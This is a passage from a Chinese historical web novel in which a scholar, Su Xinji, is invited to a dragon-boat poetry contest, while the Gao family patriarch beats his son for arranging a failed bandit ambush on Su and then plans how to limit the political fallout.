鲁峥热情的邀请道:“下个月,万安府会有一年一度的龙舟赛,文人们喜欢舞文弄墨,弄些诗词助兴,苏公子要不要去看看热闹?”
鲁峥作为参办方之一,手里是有些特权的。他很希望能趁机帮苏辛集打响名声,若是苏辛集日后能做官,鲁家也算是押中宝了。
“小师父,王知府也会到场,还有不少内舍师兄,场面挺大的,书院也支持咱们参加,咱们就请假去玩玩呗。”
“那好。”苏辛集知道鲁秉策的小心思,便点头答应下来:“不过你若是真想去,从现在开始,每日做五首诗给我。”
鲁秉策的笑容,瞬间僵在脸上:“这也太多了些!”
“那就十首?”
“不不,五首便好,我做还不行么……”
与此同时,高家书房。
“蠢货!”
茶盏在半空中抛了弧线,随后精准的落在高建邺额头。
“你现在胆子是越来越大了?上次衙门给的教训,还不够是么!”
滚烫的茶汤浇在脸上,强忍着皮肤传来的痛感,高建邺咬着嘴唇不敢言语,只能低头承受父亲的怒火。
“给拿鞭子来!”
高文德看到儿子懦弱地样子,火气更旺了,撸起袖子就要动手。
“爹,我知道错了!”
高建邺惊恐的看着父亲,两腿控制不住的颤抖。高文德火气上来,根本不理会,接过下人递过来的鞭子,对着儿子狠狠扬起。
惨叫声响彻高府,养尊处优的高家少爷哪里经受地住这样的惩罚,第二鞭子下来,他便跪地求饶。
看着儿子如此,高文德呵斥道:“现在知道怕了?跟你说的话都当耳旁风是吧?你脑子里装的到底是什么,还敢指派人去搞刺杀,现在好了,那些人被衙门扣押,还沾上了观音教,你知不知道当今圣上对这些邪教组织,向来是宁可错杀,绝不放过?你是想高家被牵连才开心是不是?”
“爹,我不敢了,我也没想到苏辛**收买路人啊。”高建邺哭的稀里哗啦的,可这话更加刺激了高文德,他手上的动作非但没有停下,反而下手更狠了。
高夫人站在一边,也不敢劝说。上次儿子令管家暗中寻觅风尘女子,妄图抹黑苏辛集,结果害的管家入狱,家中上下,对此都颇有怨言。好不容易消停几日,还不吸取教训,竟然偷偷找人假扮山匪,半路截杀苏辛集。
若是平日,兴许事情能大事化小,如今高家处境艰难,不知道多少人等着落井下石,高建邺如此做法,就等于给高家的对手们送人头,也难怪老爷会生气。
“老爷,气大伤身啊!”相伴几十年,高夫人很清楚儿子这次受罚是逃不掉的,她只能在一侧劝高文德。
“还不都是你惯得,若不是平日你对他骄纵,他哪敢如此肆意妄为?”
“是我不对,我日后定严加管教。”高夫人面带愧疚的端起茶杯:“老爷,事已至此,惩罚固然要紧,但更关键的是要控制影响啊。万一被有心人利用,咱们高家就危险了!”
此时高文德正在气头上,高夫人知道先承认错误,才能让他冷静下来。
面对儿子,高文德
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可以喊打喊骂,但对于相濡以沫的妻子,高文德还是敬重的。
“盘佘山的问题,朝中不少人都盯着,我如今若是出手,怕会越描越黑。”
盛怒之下,高文德让儿子跪着反思,连饭都不许吃。
这样的蠢货,好好说话是没用的,必须让他好好长长记性。如今最要紧的事是控制住局面,千万不要让人把污水泼到高家身上。
王俊和张伯勋联合两府城之兵力,剿灭了盘佘山的观音教教徒,绝对只是个开始。
事实上,随着财富积累,不少大富之家都想把手伸向衙门,只可惜很多事情通过利诱难以实现,所以他们便开始养匪,手中有了底牌,自然就有了跟官府谈判的资本。
遇到利益**,想要敲打时任官员,就会安排山匪出手,比如**村庄、路过商贩,都是士绅家族惯用手段。王俊这次之所以会跟张伯勋联手,很大一部分原因是为治理水患筹措人力物力,盘佘山剿匪上百人,都是极好的壮丁,还有数不尽的财物。
朝廷知道剿灭观音教势力,还会有额外恩赐,而且都算政绩。
这下面牵扯的利益盘根错杂,而儿子派出去那几个人,算是给了王俊出兵一个合理借口。
此次,儿子的小动作直接捅了马蜂窝,把高家推到了风口浪尖。高文德甚至想要将高建邺直接撵出家门。
“老爷,我看这事儿没那么简单。苏辛集不过是个毫无背景的童生,即便是遇到匪徒,府衙为了一个童生大动干戈也说不过去。”高夫人想要为儿子开脱,试探着说道。
高文德又何尝不知,眯起双眼:“这个苏辛集不简单,明日让建邺登门赔罪,你去准备点像样的礼品。”
高夫人没想到,高文德会如此低调,有些意外:“不至于吧,他充其量就是个童生而已。”
“县试、府试双案首,你见过几个?他才去府城几日,就能成为张家的常客,你觉的他是简单的童生么?”